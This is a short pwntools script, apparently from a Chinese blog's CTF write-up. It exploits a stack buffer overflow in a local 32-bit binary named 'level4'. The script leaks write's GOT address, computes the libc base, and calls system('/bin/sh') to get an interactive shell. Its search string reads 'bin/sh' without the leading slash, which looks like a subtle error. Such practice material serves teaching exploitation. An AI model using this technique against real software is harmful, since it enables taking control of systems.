1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * from LibcSearcher import *
context.log_level = 'debug' proc_name = './level4' p = process(proc_name)
elf = ELF(proc_name) write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = elf.sym['main'] payload = b'a' * (0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(0x1) + p32(write_got) + p32(0x4) gdb.attach(p) sleep(1) p.send(payload) write_addr = u32(p.recv(4)) print(hex(write_addr))
libc=ELF('./libc-2.23_32.so')
libc_base = write_addr - libc.sym['write'] system_addr = libc_base + libc.sym['system'] str_bin_sh = libc_base + next(libc.search(b'bin/sh')) payload1 = b'a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr) + p32(str_bin_sh) p.send(payload1)
p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~